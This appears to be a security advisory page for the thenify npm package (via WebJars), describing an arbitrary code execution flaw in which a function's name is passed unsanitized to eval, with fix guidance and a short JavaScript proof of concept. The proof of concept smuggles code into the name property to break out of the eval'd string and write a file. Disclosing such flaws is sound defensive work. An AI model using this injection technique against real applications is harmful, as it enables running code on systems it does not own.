Arbitrary Code Execution Affecting org.webjars.npm:thenify Open this link in a new tab package, versions [0,3.3.1)


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JAVA-ORGWEBJARSNPM-572317

  • published

    15 Jun 2020

  • disclosed

    15 Jun 2020

  • credit

    JHU System Security Lab

How to fix?

Upgrade org.webjars.npm:thenify to version 3.3.1 or higher.

Overview

org.webjars.npm:thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);